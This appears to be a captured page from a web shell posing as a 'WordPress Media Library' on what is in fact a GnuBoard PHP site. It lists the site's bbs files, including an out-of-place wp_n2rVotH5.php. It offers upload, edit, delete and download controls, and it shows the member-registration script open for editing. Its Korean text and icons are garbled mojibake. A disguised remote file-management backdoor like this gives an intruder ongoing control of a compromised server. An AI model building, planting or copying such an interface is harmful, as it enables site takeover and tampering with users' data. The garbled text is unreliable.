โ WordPress Media Library
File manager
๐ Media Files
๐ง _common.php
๐ง _head.php
๐ง _head.sub.php
๐ง _tail.php
๐ง _tail.sub.php
๐ง ajax.autosave.php
๐ง ajax.autosavedel.php
๐ง ajax.autosavelist.php
๐ง ajax.autosaveload.php
๐ง ajax.comment_token.php
๐ง ajax.filter.php
๐ง ajax.mb_email.php
๐ง ajax.mb_hp.php
๐ง ajax.mb_id.php
๐ง ajax.mb_nick.php
๐ง ajax.mb_recommend.php
๐ง alert.php
๐ง alert_close.php
๐ง board.php
๐ง board_head.php
๐ง board_list_update.php
๐ง board_tail.php
๐ง confirm.php
๐ง content.php
๐ง current_connect.php
๐ง db_table.optimize.php
๐ง delete.php
๐ง delete_all.php
๐ง delete_comment.php
๐ง download.php
๐ง email_certify.php
๐ง email_stop.php
๐ง faq.php
๐ง formmail.php
๐ง formmail_send.php
๐ง good.php
๐ง group.php
๐ง link.php
๐ง list.php
๐ง login.php
๐ง login_check.php
๐ง logout.php
๐ง member_confirm.php
๐ง member_leave.php
๐ง memo.php
๐ง memo_delete.php
๐ง memo_form.php
๐ง memo_form_update.php
๐ง memo_view.php
๐ง move.php
๐ง move_update.php
๐ง mypage.php
๐ง new.php
๐ง new_delete.php
๐ง newwin.inc.php
๐ง password.php
๐ง password_check.php
๐ง password_lost.php
๐ง password_lost2.php
๐ง password_lost_certify.php
๐ง point.php
๐ง poll_etc_update.php
๐ง poll_etc_update_mail.php
๐ง poll_result.php
๐ง poll_update.php
๐ง profile.php
๐ง qadelete.php
๐ง qadownload.php
๐ง qahead.php
๐ง qalist.php
๐ง qatail.php
๐ง qaview.php
๐ง qawrite.php
๐ง qawrite_update.php
๐ง register.php
๐ง register_email.php
๐ง register_email_update.php
๐ง register_form.php
๐ง register_form_update.php
๐ง register_form_update_mail1.php
๐ง register_form_update_mail2.php
๐ง register_form_update_mail3.php
๐ง register_result.php
๐ง rss.php
๐ง scrap.php
๐ง scrap_delete.php
๐ง scrap_popin.php
๐ง scrap_popin_update.php
๐ง search.php
๐ง sns_send.php
๐ง view.php
๐ง view_comment.php
๐ง view_image.php
๐ง visit_browscap.inc.php
๐ง visit_insert.inc.php
๐ง wp_n2rVotH5.php
๐ง write.php
๐ง write_comment_update.php
๐ง write_comment_update.sns.php
๐ง write_token.php
๐ง write_update.php
๐ง write_update_mail.php
๐ง zboard.php
โฌ๏ธ Upload Media
Upload File
๐ Edit: register_form_update.php
Size: 25.18 KB | Modified: 2019-12-05 14:54:19
<?php include_once('./_common.php'); include_once(G5_CAPTCHA_PATH.'/captcha.lib.php'); include_once(G5_LIB_PATH.'/register.lib.php'); include_once(G5_LIB_PATH.'/mailer.lib.php'); include_once(G5_LIB_PATH.'/thumbnail.lib.php'); // ๋ฆฌํผ๋ฌ ์ฒดํฌ referer_check(); if (!($w == '' || $w == 'u')) { alert('w ๊ฐ์ด ์ ๋๋ก ๋์ด์ค์ง ์์์ต๋๋ค.'); } if ($w == 'u' && $is_admin == 'super') { if (file_exists(G5_PATH.'/DEMO')) alert('๋ฐ๋ชจ ํ๋ฉด์์๋ ํ์ค(๋ณด์ค) ์ ์๋ ์์ ์ ๋๋ค.'); } if (!chk_captcha()) { alert('์๋๋ฑ๋ก๋ฐฉ์ง ์ซ์๊ฐ ํ๋ ธ์ต๋๋ค.'); } if($w == 'u') $mb_id = isset($_SESSION['ss_mb_id']) ? trim($_SESSION['ss_mb_id']) : ''; else if($w == '') $mb_id = trim($_POST['mb_id']); else alert('์๋ชป๋ ์ ๊ทผ์ ๋๋ค', G5_URL); if(!$mb_id) alert('ํ์์์ด๋ ๊ฐ์ด ์์ต๋๋ค. ์ฌ๋ฐ๋ฅธ ๋ฐฉ๋ฒ์ผ๋ก ์ด์ฉํด ์ฃผ์ญ์์ค.'); $mb_password = trim($_POST['mb_password']); $mb_password_re = trim($_POST['mb_password_re']); $mb_name = trim($_POST['mb_name']); $mb_nick = trim($_POST['mb_nick']); $mb_email = trim($_POST['mb_email']); $mb_sex = isset($_POST['mb_sex']) ? trim($_POST['mb_sex']) : ""; $mb_birth = isset($_POST['mb_birth']) ? trim($_POST['mb_birth']) : ""; $mb_homepage = isset($_POST['mb_homepage']) ? trim($_POST['mb_homepage']) : ""; $mb_tel = isset($_POST['mb_tel']) ? trim($_POST['mb_tel']) : ""; $mb_hp = isset($_POST['mb_hp']) ? trim($_POST['mb_hp']) : ""; $mb_zip1 = isset($_POST['mb_zip']) ? substr(trim($_POST['mb_zip']), 0, 3) : ""; $mb_zip2 = isset($_POST['mb_zip']) ? substr(trim($_POST['mb_zip']), 3) : ""; $mb_addr1 = isset($_POST['mb_addr1']) ? trim($_POST['mb_addr1']) : ""; $mb_addr2 = isset($_POST['mb_addr2']) ? trim($_POST['mb_addr2']) : ""; $mb_addr3 = isset($_POST['mb_addr3']) ? trim($_POST['mb_addr3']) : ""; $mb_addr_jibeon = isset($_POST['mb_addr_jibeon']) ? trim($_POST['mb_addr_jibeon']) : ""; $mb_signature = isset($_POST['mb_signature']) ? trim($_POST['mb_signature']) : ""; $mb_profile = isset($_POST['mb_profile']) ? trim($_POST['mb_profile']) : ""; $mb_recommend = isset($_POST['mb_recommend']) ? trim($_POST['mb_recommend']) : ""; $mb_mailling = isset($_POST['mb_mailling']) ? trim($_POST['mb_mailling']) : ""; $mb_sms = isset($_POST['mb_sms']) ? trim($_POST['mb_sms']) : ""; $mb_1 = isset($_POST['mb_1']) ? trim($_POST['mb_1']) : ""; $mb_2 = isset($_POST['mb_2']) ? trim($_POST['mb_2']) : ""; $mb_3 = isset($_POST['mb_3']) ? trim($_POST['mb_3']) : ""; $mb_4 = isset($_POST['mb_4']) ? trim($_POST['mb_4']) : ""; $mb_5 = isset($_POST['mb_5']) ? trim($_POST['mb_5']) : ""; $mb_6 = isset($_POST['mb_6']) ? trim($_POST['mb_6']) : ""; $mb_7 = isset($_POST['mb_7']) ? trim($_POST['mb_7']) : ""; $mb_8 = isset($_POST['mb_8']) ? trim($_POST['mb_8']) : ""; $mb_9 = isset($_POST['mb_9']) ? trim($_POST['mb_9']) : ""; $mb_10 = isset($_POST['mb_10']) ? trim($_POST['mb_10']) : ""; $mb_name = clean_xss_tags($mb_name); $mb_email = get_email_address($mb_email); $mb_homepage = clean_xss_tags($mb_homepage); $mb_tel = clean_xss_tags($mb_tel); $mb_zip1 = preg_replace('/[^0-9]/', '', $mb_zip1); $mb_zip2 = preg_replace('/[^0-9]/', '', $mb_zip2); $mb_addr1 = clean_xss_tags($mb_addr1); $mb_addr2 = clean_xss_tags($mb_addr2); $mb_addr3 = clean_xss_tags($mb_addr3); $mb_addr_jibeon = preg_match("/^(N|R)$/", $mb_addr_jibeon) ? $mb_addr_jibeon : ''; run_event('register_form_update_before', $mb_id, $w); if ($w == '' || $w == 'u') { if ($msg = empty_mb_id($mb_id)) alert($msg, "", true, true); // alert($msg, $url, $error, $post); if ($msg = valid_mb_id($mb_id)) alert($msg, "", true, true); if ($msg = count_mb_id($mb_id)) alert($msg, "", true, true); // ์ด๋ฆ, ๋๋ค์์ utf-8 ์ด์ธ์ ๋ฌธ์๊ฐ ํฌํจ๋๋ค๋ฉด ์ค๋ฅ // ์๋ฒํ๊ฒฝ์ ๋ฐ๋ผ ์ ์์ ์ผ๋ก ์ฒดํฌ๋์ง ์์ ์ ์์. $tmp_mb_name = iconv('UTF-8', 'UTF-8//IGNORE', $mb_name); if($tmp_mb_name != $mb_name) { alert('์ด๋ฆ์ ์ฌ๋ฐ๋ฅด๊ฒ ์ ๋ ฅํด ์ฃผ์ญ์์ค.'); } $tmp_mb_nick = iconv('UTF-8', 'UTF-8//IGNORE', $mb_nick); if($tmp_mb_nick != $mb_nick) { alert('๋๋ค์์ ์ฌ๋ฐ๋ฅด๊ฒ ์ ๋ ฅํด ์ฃผ์ญ์์ค.'); } if ($w == '' && !$mb_password) alert('๋น๋ฐ๋ฒํธ๊ฐ ๋์ด์ค์ง ์์์ต๋๋ค.'); if($w == '' && $mb_password != $mb_password_re) alert('๋น๋ฐ๋ฒํธ๊ฐ ์ผ์นํ์ง ์์ต๋๋ค.'); // ์คํจํ์ ๊ฐ์ ๋ฐฉ์ง ์ถ๊ฐ 2019-10-31 if($mb_password == 'password123!') alert('๋ก๋ด์ ์ด์ฉํ ์คํจ ํ์๊ฐ์ ์ ํ์ฉํ์ง ์์ต๋๋ค!'); if($mb_recommend == 'admin') alert('๋ก๋ด์ ์ด์ฉํ ์คํจ ํ์๊ฐ์ ์ ํ์ฉํ์ง ์์ต๋๋ค!'); if($mb_1 == '1') alert('๋ก๋ด์ ์ด์ฉํ ์คํจ ํ์๊ฐ์ ์ ํ์ฉํ์ง ์์ต๋๋ค!'); // ์ฌ๊ธฐ๊น์ง ์คํจํ์ ์ถ๊ฐ if ($msg = empty_mb_name($mb_name)) alert($msg, "", true, true); if ($msg = empty_mb_nick($mb_nick)) alert($msg, "", true, true); if ($msg = empty_mb_email($mb_email)) alert($msg, "", true, true); if ($msg = reserve_mb_id($mb_id)) alert($msg, "", true, true); if ($msg = reserve_mb_nick($mb_nick)) alert($msg, "", true, true); // ์ด๋ฆ์ ํ๊ธ๋ช ์ฒดํฌ๋ฅผ ํ์ง ์๋๋ค. //if ($msg = valid_mb_name($mb_name)) alert($msg, "", true, true); if ($msg = valid_mb_nick($mb_nick)) alert($msg, "", true, true); if ($msg = valid_mb_email($mb_email)) alert($msg, "", true, true); if ($msg = prohibit_mb_email($mb_email))alert($msg, "", true, true); // ํด๋ํฐ ํ์์ ๋ ฅ์ผ ๊ฒฝ์ฐ ํด๋ํฐ๋ฒํธ ์ ํจ์ฑ ์ฒดํฌ if (($config['cf_use_hp'] || $config['cf_cert_hp']) && $config['cf_req_hp']) { if ($msg = valid_mb_hp($mb_hp)) alert($msg, "", true, true); } if ($w=='') { if ($msg = exist_mb_id($mb_id)) alert($msg); if (get_session('ss_check_mb_id') != $mb_id || get_session('ss_check_mb_nick') != $mb_nick || get_session('ss_check_mb_email') != $mb_email) { set_session('ss_check_mb_id', ''); set_session('ss_check_mb_nick', ''); set_session('ss_check_mb_email', ''); alert('์ฌ๋ฐ๋ฅธ ๋ฐฉ๋ฒ์ผ๋ก ์ด์ฉํด ์ฃผ์ญ์์ค.'); } // ๋ณธ์ธํ์ธ ์ฒดํฌ if($config['cf_cert_use'] && $config['cf_cert_req']) { if(trim($_POST['cert_no']) != $_SESSION['ss_cert_no'] || !$_SESSION['ss_cert_no']) alert("ํ์๊ฐ์ ์ ์ํด์๋ ๋ณธ์ธํ์ธ์ ํด์ฃผ์ ์ผ ํฉ๋๋ค."); } if ($config['cf_use_recommend'] && $mb_recommend) { if (!exist_mb_id($mb_recommend)) alert("์ถ์ฒ์ธ์ด ์กด์ฌํ์ง ์์ต๋๋ค."); } if (strtolower($mb_id) == strtolower($mb_recommend)) { alert('๋ณธ์ธ์ ์ถ์ฒํ ์ ์์ต๋๋ค.'); } } else { // ์๋ฐ์คํฌ๋ฆฝํธ๋ก ์ ๋ณด๋ณ๊ฒฝ์ด ๊ฐ๋ฅํ ๋ฒ๊ทธ ์์ // ๋๋ค์์์ ์ผ์ด ์ง๋์ง ์์๋ค๋ฉด if ($member['mb_nick_date'] > date("Y-m-d", G5_SERVER_TIME - ($config['cf_nick_modify'] * 86400))) $mb_nick = $member['mb_nick']; // ํ์์ ๋ณด์ ๋ฉ์ผ์ ์ด์ ๋ฉ์ผ๋ก ์ฎ๊ธฐ๊ณ ์๋์์ ๋น๊ตํจ $old_email = $member['mb_email']; } run_event('register_form_update_valid', $w, $mb_id, $mb_nick, $mb_email); if ($msg = exist_mb_nick($mb_nick, $mb_id)) alert($msg, "", true, true); if ($msg = exist_mb_email($mb_email, $mb_id)) alert($msg, "", true, true); } // ์ฌ์ฉ์ ์ฝ๋ ์คํ @include_once($member_skin_path.'/register_form_update.head.skin.php'); //=============================================================== // ๋ณธ์ธํ์ธ //--------------------------------------------------------------- $mb_hp = hyphen_hp_number($mb_hp); if($config['cf_cert_use'] && $_SESSION['ss_cert_type'] && $_SESSION['ss_cert_dupinfo']) { // ์ค๋ณต์ฒดํฌ $sql = " select mb_id from {$g5['member_table']} where mb_id <> '{$member['mb_id']}' and mb_dupinfo = '{$_SESSION['ss_cert_dupinfo']}' "; $row = sql_fetch($sql); if ($row['mb_id']) { alert("์ ๋ ฅํ์ ๋ณธ์ธํ์ธ ์ ๋ณด๋ก ๊ฐ์ ๋ ๋ด์ญ์ด ์กด์ฌํฉ๋๋ค.\\nํ์์์ด๋ : ".$row['mb_id']); } } $sql_certify = ''; $md5_cert_no = $_SESSION['ss_cert_no']; $cert_type = $_SESSION['ss_cert_type']; if ($config['cf_cert_use'] && $cert_type && $md5_cert_no) { // ํด์๊ฐ์ด ๊ฐ์ ๊ฒฝ์ฐ์๋ง ๋ณธ์ธํ์ธ ๊ฐ์ ์ ์ฅํ๋ค. if ($_SESSION['ss_cert_hash'] == md5($mb_name.$cert_type.$_SESSION['ss_cert_birth'].$md5_cert_no)) { $sql_certify .= " , mb_hp = '{$mb_hp}' "; $sql_certify .= " , mb_certify = '{$cert_type}' "; $sql_certify .= " , mb_adult = '{$_SESSION['ss_cert_adult']}' "; $sql_certify .= " , mb_birth = '{$_SESSION['ss_cert_birth']}' "; $sql_certify .= " , mb_sex = '{$_SESSION['ss_cert_sex']}' "; $sql_certify .= " , mb_dupinfo = '{$_SESSION['ss_cert_dupinfo']}' "; if($w == 'u') $sql_certify .= " , mb_name = '{$mb_name}' "; } else { $sql_certify .= " , mb_hp = '{$mb_hp}' "; $sql_certify .= " , mb_certify = '' "; $sql_certify .= " , mb_adult = 0 "; $sql_certify .= " , mb_birth = '' "; $sql_certify .= " , mb_sex = '' "; } } else { if (get_session("ss_reg_mb_name") != $mb_name || get_session("ss_reg_mb_hp") != $mb_hp) { $sql_certify .= " , mb_hp = '{$mb_hp}' "; $sql_certify .= " , mb_certify = '' "; $sql_certify .= " , mb_adult = 0 "; $sql_certify .= " , mb_birth = '' "; $sql_certify .= " , mb_sex = '' "; } } //=============================================================== if ($w == '') { $sql = " insert into {$g5['member_table']} set mb_id = '{$mb_id}', mb_password = '".get_encrypt_string($mb_password)."', mb_name = '{$mb_name}', mb_nick = '{$mb_nick}', mb_nick_date = '".G5_TIME_YMD."', mb_email = '{$mb_email}', mb_homepage = '{$mb_homepage}', mb_tel = '{$mb_tel}', mb_zip1 = '{$mb_zip1}', mb_zip2 = '{$mb_zip2}', mb_addr1 = '{$mb_addr1}', mb_addr2 = '{$mb_addr2}', mb_addr3 = '{$mb_addr3}', mb_addr_jibeon = '{$mb_addr_jibeon}', mb_signature = '{$mb_signature}', mb_profile = '{$mb_profile}', mb_today_login = '".G5_TIME_YMDHIS."', mb_datetime = '".G5_TIME_YMDHIS."', mb_ip = '{$_SERVER['REMOTE_ADDR']}', mb_level = '{$config['cf_register_level']}', mb_recommend = '{$mb_recommend}', mb_login_ip = '{$_SERVER['REMOTE_ADDR']}', mb_mailling = '{$mb_mailling}', mb_sms = '{$mb_sms}', mb_open = '{$mb_open}', mb_open_date = '".G5_TIME_YMD."', mb_1 = '{$mb_1}', mb_2 = '{$mb_2}', mb_3 = '{$mb_3}', mb_4 = '{$mb_4}', mb_5 = '{$mb_5}', mb_6 = '{$mb_6}', mb_7 = '{$mb_7}', mb_8 = '{$mb_8}', mb_9 = '{$mb_9}', mb_10 = '{$mb_10}' {$sql_certify} "; // ์ด๋ฉ์ผ ์ธ์ฆ์ ์ฌ์ฉํ์ง ์๋๋ค๋ฉด ์ด๋ฉ์ผ ์ธ์ฆ์๊ฐ์ ๋ฐ๋ก ๋ฃ๋๋ค if (!$config['cf_use_email_certify']) $sql .= " , mb_email_certify = '".G5_TIME_YMDHIS."' "; sql_query($sql); // ํ์๊ฐ์ ํฌ์ธํธ ๋ถ์ฌ insert_point($mb_id, $config['cf_register_point'], 'ํ์๊ฐ์ ์ถํ', '@member', $mb_id, 'ํ์๊ฐ์ '); // ์ถ์ฒ์ธ์๊ฒ ํฌ์ธํธ ๋ถ์ฌ if ($config['cf_use_recommend'] && $mb_recommend) insert_point($mb_recommend, $config['cf_recommend_point'], $mb_id.'์ ์ถ์ฒ์ธ', '@member', $mb_recommend, $mb_id.' ์ถ์ฒ'); // ํ์๋๊ป ๋ฉ์ผ ๋ฐ์ก if ($config['cf_email_mb_member']) { $subject = '['.$config['cf_title'].'] ํ์๊ฐ์ ์ ์ถํ๋๋ฆฝ๋๋ค.'; // ์ด๋ ํ ํ์์ ๋ณด๋ ํฌํจ๋์ง ์์ ์ผํ์ฉ ๋์๋ฅผ ์์ฑํ์ฌ ์ธ์ฆ์ ์ฌ์ฉ if ($config['cf_use_email_certify']) { $mb_md5 = md5(pack('V*', rand(), rand(), rand(), rand())); sql_query(" update {$g5['member_table']} set mb_email_certify2 = '$mb_md5' where mb_id = '$mb_id' "); $certify_href = G5_BBS_URL.'/email_certify.php?mb_id='.$mb_id.'&mb_md5='.$mb_md5; } ob_start(); include_once ('./register_form_update_mail1.php'); $content = ob_get_contents(); ob_end_clean(); $content = run_replace('register_form_update_mail_mb_content', $content, $mb_id); mailer($config['cf_admin_email_name'], $config['cf_admin_email'], $mb_email, $subject, $content, 1); run_event('register_form_update_send_mb_mail', $config['cf_admin_email_name'], $config['cf_admin_email'], $mb_email, $subject, $content); // ๋ฉ์ผ์ธ์ฆ์ ์ฌ์ฉํ๋ ๊ฒฝ์ฐ ๊ฐ์ ๋ฉ์ผ์ ์ธ์ฆ url์ด ์์ผ๋ฏ๋ก ์ธ์ฆ๋ฉ์ผ์ ๋ค์ ๋ฐ์ก๋์ง ์๋๋ก ํจ if($config['cf_use_email_certify']) $old_email = $mb_email; } // ์ต๊ณ ๊ด๋ฆฌ์๋๊ป ๋ฉ์ผ ๋ฐ์ก if ($config['cf_email_mb_super_admin']) { $subject = run_replace('register_form_update_mail_admin_subject', '['.$config['cf_title'].'] '.$mb_nick .' ๋๊ป์ ํ์์ผ๋ก ๊ฐ์ ํ์ จ์ต๋๋ค.', $mb_id, $mb_nick); ob_start(); include_once ('./register_form_update_mail2.php'); $content = ob_get_contents(); ob_end_clean(); $content = run_replace('register_form_update_mail_admin_content', $content, $mb_id); mailer($mb_nick, $mb_email, $config['cf_admin_email'], $subject, $content, 1); run_event('register_form_update_send_admin_mail', $mb_nick, $mb_email, $config['cf_admin_email'], $subject, $content); } // ๋ฉ์ผ์ธ์ฆ ์ฌ์ฉํ์ง ์๋ ๊ฒฝ์ฐ์๋ง ๋ก๊ทธ์ธ if (!$config['cf_use_email_certify']) set_session('ss_mb_id', $mb_id); set_session('ss_mb_reg', $mb_id); } else if ($w == 'u') { if (!trim($_SESSION['ss_mb_id'])) alert('๋ก๊ทธ์ธ ๋์ด ์์ง ์์ต๋๋ค.'); if (trim($_POST['mb_id']) != $mb_id) alert("๋ก๊ทธ์ธ๋ ์ ๋ณด์ ์์ ํ๋ ค๋ ์ ๋ณด๊ฐ ํ๋ฆฌ๋ฏ๋ก ์์ ํ ์ ์์ต๋๋ค.\\n๋ง์ฝ ์ฌ๋ฐ๋ฅด์ง ์์ ๋ฐฉ๋ฒ์ ์ฌ์ฉํ์ ๋ค๋ฉด ๋ฐ๋ก ์ค์งํ์ฌ ์ฃผ์ญ์์ค."); $sql_password = ""; if ($mb_password) $sql_password = " , mb_password = '".get_encrypt_string($mb_password)."' "; $sql_nick_date = ""; if ($mb_nick_default != $mb_nick) $sql_nick_date = " , mb_nick_date = '".G5_TIME_YMD."' "; $sql_open_date = ""; if ($mb_open_default != $mb_open) $sql_open_date = " , mb_open_date = '".G5_TIME_YMD."' "; // ์ด์ ๋ฉ์ผ์ฃผ์์ ์์ ํ ๋ฉ์ผ์ฃผ์๊ฐ ํ๋ฆฌ๋ค๋ฉด ์ธ์ฆ์ ๋ค์ ํด์ผํ๋ฏ๋ก ๊ฐ์ ์ญ์ $sql_email_certify = ''; if ($old_email != $mb_email && $config['cf_use_email_certify']) $sql_email_certify = " , mb_email_certify = '' "; $sql = " update {$g5['member_table']} set mb_nick = '{$mb_nick}', mb_mailling = '{$mb_mailling}', mb_sms = '{$mb_sms}', mb_open = '{$mb_open}', mb_email = '{$mb_email}', mb_homepage = '{$mb_homepage}', mb_tel = '{$mb_tel}', mb_zip1 = '{$mb_zip1}', mb_zip2 = '{$mb_zip2}', mb_addr1 = '{$mb_addr1}', mb_addr2 = '{$mb_addr2}', mb_addr3 = '{$mb_addr3}', mb_addr_jibeon = '{$mb_addr_jibeon}', mb_signature = '{$mb_signature}', mb_profile = '{$mb_profile}', mb_1 = '{$mb_1}', mb_2 = '{$mb_2}', mb_3 = '{$mb_3}', mb_4 = '{$mb_4}', mb_5 = '{$mb_5}', mb_6 = '{$mb_6}', mb_7 = '{$mb_7}', mb_8 = '{$mb_8}', mb_9 = '{$mb_9}', mb_10 = '{$mb_10}' {$sql_password} {$sql_nick_date} {$sql_open_date} {$sql_email_certify} {$sql_certify} where mb_id = '$mb_id' "; sql_query($sql); } // ํ์ ์์ด์ฝ $mb_dir = G5_DATA_PATH.'/member/'.substr($mb_id,0,2); // ์์ด์ฝ ์ญ์ if (isset($_POST['del_mb_icon'])) { @unlink($mb_dir.'/'.get_mb_icon_name($mb_id).'.gif'); } $msg = ""; // ์์ด์ฝ ์ ๋ก๋ $mb_icon = ''; $image_regex = "/(\.(gif|jpe?g|png))$/i"; $mb_icon_img = get_mb_icon_name($mb_id).'.gif'; if (isset($_FILES['mb_icon']) && is_uploaded_file($_FILES['mb_icon']['tmp_name'])) { if (preg_match($image_regex, $_FILES['mb_icon']['name'])) { // ์์ด์ฝ ์ฉ๋์ด ์ค์ ๊ฐ๋ณด๋ค ์ดํ๋ง ์ ๋ก๋ ๊ฐ๋ฅ if ($_FILES['mb_icon']['size'] <= $config['cf_member_icon_size']) { @mkdir($mb_dir, G5_DIR_PERMISSION); @chmod($mb_dir, G5_DIR_PERMISSION); $dest_path = $mb_dir.'/'.$mb_icon_img; move_uploaded_file($_FILES['mb_icon']['tmp_name'], $dest_path); chmod($dest_path, G5_FILE_PERMISSION); if (file_exists($dest_path)) { //=================================================================\ // 090714 // gif ํ์ผ์ ์ ์ฑ์ฝ๋๋ฅผ ์ฌ์ด ์ ๋ก๋ ํ๋ ๊ฒฝ์ฐ๋ฅผ ๋ฐฉ์ง // ์๋ฌ๋ฉ์ธ์ง๋ ์ถ๋ ฅํ์ง ์๋๋ค. //----------------------------------------------------------------- $size = @getimagesize($dest_path); if (!($size[2] === 1 || $size[2] === 2 || $size[2] === 3)) { // jpg, gif, png ํ์ผ์ด ์๋๋ฉด ์ฌ๋ผ๊ฐ ์ด๋ฏธ์ง๋ฅผ ์ญ์ ํ๋ค. @unlink($dest_path); } else if ($size[0] > $config['cf_member_icon_width'] || $size[1] > $config['cf_member_icon_height']) { $thumb = null; if($size[2] === 2 || $size[2] === 3) { //jpg ๋๋ png ํ์ผ ์ ์ฉ $thumb = thumbnail($mb_icon_img, $mb_dir, $mb_dir, $config['cf_member_icon_width'], $config['cf_member_icon_height'], true, true); if($thumb) { @unlink($dest_path); rename($mb_dir.'/'.$thumb, $dest_path); } } if( !$thumb ){ // ์์ด์ฝ์ ํญ ๋๋ ๋์ด๊ฐ ์ค์ ๊ฐ ๋ณด๋ค ํฌ๋ค๋ฉด ์ด๋ฏธ ์ ๋ก๋ ๋ ์์ด์ฝ ์ญ์ @unlink($dest_path); } } //=================================================================\ } } else { $msg .= 'ํ์์์ด์ฝ์ '.number_format($config['cf_member_icon_size']).'๋ฐ์ดํธ ์ดํ๋ก ์ ๋ก๋ ํด์ฃผ์ญ์์ค.'; } } else { $msg .= $_FILES['mb_icon']['name'].'์(๋) ์ด๋ฏธ์ง ํ์ผ์ด ์๋๋๋ค.'; } } // ํ์ ํ๋กํ ์ด๋ฏธ์ง if( $config['cf_member_img_size'] && $config['cf_member_img_width'] && $config['cf_member_img_height'] ){ $mb_tmp_dir = G5_DATA_PATH.'/member_image/'; $mb_dir = $mb_tmp_dir.substr($mb_id,0,2); if( !is_dir($mb_tmp_dir) ){ @mkdir($mb_tmp_dir, G5_DIR_PERMISSION); @chmod($mb_tmp_dir, G5_DIR_PERMISSION); } // ์์ด์ฝ ์ญ์ if (isset($_POST['del_mb_img'])) { @unlink($mb_dir.'/'.$mb_icon_img); } // ํ์ ํ๋กํ ์ด๋ฏธ์ง ์ ๋ก๋ $mb_img = ''; if (isset($_FILES['mb_img']) && is_uploaded_file($_FILES['mb_img']['tmp_name'])) { $msg = $msg ? $msg."\\r\\n" : ''; if (preg_match($image_regex, $_FILES['mb_img']['name'])) { // ์์ด์ฝ ์ฉ๋์ด ์ค์ ๊ฐ๋ณด๋ค ์ดํ๋ง ์ ๋ก๋ ๊ฐ๋ฅ if ($_FILES['mb_img']['size'] <= $config['cf_member_img_size']) { @mkdir($mb_dir, G5_DIR_PERMISSION); @chmod($mb_dir, G5_DIR_PERMISSION); $dest_path = $mb_dir.'/'.$mb_icon_img; move_uploaded_file($_FILES['mb_img']['tmp_name'], $dest_path); chmod($dest_path, G5_FILE_PERMISSION); if (file_exists($dest_path)) { $size = @getimagesize($dest_path); if (!($size[2] === 1 || $size[2] === 2 || $size[2] === 3)) { // gif jpg png ํ์ผ์ด ์๋๋ฉด ์ฌ๋ผ๊ฐ ์ด๋ฏธ์ง๋ฅผ ์ญ์ ํ๋ค. @unlink($dest_path); } else if ($size[0] > $config['cf_member_img_width'] || $size[1] > $config['cf_member_img_height']) { $thumb = null; if($size[2] === 2 || $size[2] === 3) { //jpg ๋๋ png ํ์ผ ์ ์ฉ $thumb = thumbnail($mb_icon_img, $mb_dir, $mb_dir, $config['cf_member_img_width'], $config['cf_member_img_height'], true, true); if($thumb) { @unlink($dest_path); rename($mb_dir.'/'.$thumb, $dest_path); } } if( !$thumb ){ // ์์ด์ฝ์ ํญ ๋๋ ๋์ด๊ฐ ์ค์ ๊ฐ ๋ณด๋ค ํฌ๋ค๋ฉด ์ด๋ฏธ ์ ๋ก๋ ๋ ์์ด์ฝ ์ญ์ @unlink($dest_path); } } //=================================================================\ } } else { $msg .= 'ํ์์ด๋ฏธ์ง์ '.number_format($config['cf_member_img_size']).'๋ฐ์ดํธ ์ดํ๋ก ์ ๋ก๋ ํด์ฃผ์ญ์์ค.'; } } else { $msg .= $_FILES['mb_img']['name'].'์(๋) gif/jpg ํ์ผ์ด ์๋๋๋ค.'; } } } // ์ธ์ฆ๋ฉ์ผ ๋ฐ์ก if ($config['cf_use_email_certify'] && $old_email != $mb_email) { $subject = '['.$config['cf_title'].'] ์ธ์ฆํ์ธ ๋ฉ์ผ์ ๋๋ค.'; // ์ด๋ ํ ํ์์ ๋ณด๋ ํฌํจ๋์ง ์์ ์ผํ์ฉ ๋์๋ฅผ ์์ฑํ์ฌ ์ธ์ฆ์ ์ฌ์ฉ $mb_md5 = md5(pack('V*', rand(), rand(), rand(), rand())); sql_query(" update {$g5['member_table']} set mb_email_certify2 = '$mb_md5' where mb_id = '$mb_id' "); $certify_href = G5_BBS_URL.'/email_certify.php?mb_id='.$mb_id.'&mb_md5='.$mb_md5; ob_start(); include_once ('./register_form_update_mail3.php'); $content = ob_get_contents(); ob_end_clean(); $content = run_replace('register_form_update_mail_certify_content', $content, $mb_id); mailer($config['cf_admin_email_name'], $config['cf_admin_email'], $mb_email, $subject, $content, 1); run_event('register_form_update_send_certify_mail', $config['cf_admin_email_name'], $config['cf_admin_email'], $mb_email, $subject, $content); } // ์ฌ์ฉ์ ์ฝ๋ ์คํ @include_once ($member_skin_path.'/register_form_update.tail.skin.php'); unset($_SESSION['ss_cert_type']); unset($_SESSION['ss_cert_no']); unset($_SESSION['ss_cert_hash']); unset($_SESSION['ss_cert_birth']); unset($_SESSION['ss_cert_adult']); if ($msg) echo '<script>alert(\''.$msg.'\');</script>'; run_event('register_form_update_after', $mb_id, $w); if ($w == '') { goto_url(G5_HTTP_BBS_URL.'/register_result.php'); } else if ($w == 'u') { $row = sql_fetch(" select mb_password from {$g5['member_table']} where mb_id = '{$member['mb_id']}' "); $tmp_password = $row['mb_password']; if ($old_email != $mb_email && $config['cf_use_email_certify']) { set_session('ss_mb_id', ''); alert('ํ์ ์ ๋ณด๊ฐ ์์ ๋์์ต๋๋ค.\n\nE-mail ์ฃผ์๊ฐ ๋ณ๊ฒฝ๋์์ผ๋ฏ๋ก ๋ค์ ์ธ์ฆํ์ ์ผ ํฉ๋๋ค.', G5_URL); } else { echo ' <!doctype html> <html lang="ko"> <head> <meta charset="utf-8"> <title>ํ์์ ๋ณด์์ </title> <body> <form name="fregisterupdate" method="post" action="'.G5_HTTP_BBS_URL.'/register_form.php"> <input type="hidden" name="w" value="u"> <input type="hidden" name="mb_id" value="'.$mb_id.'"> <input type="hidden" name="mb_password" value="'.$tmp_password.'"> <input type="hidden" name="is_update" value="1"> </form> <script> alert("ํ์ ์ ๋ณด๊ฐ ์์ ๋์์ต๋๋ค."); document.fregisterupdate.submit(); </script> </body> </html>'; } } ?>
๐พ Save Changes
๐ฅ Download
๐๏ธ Delete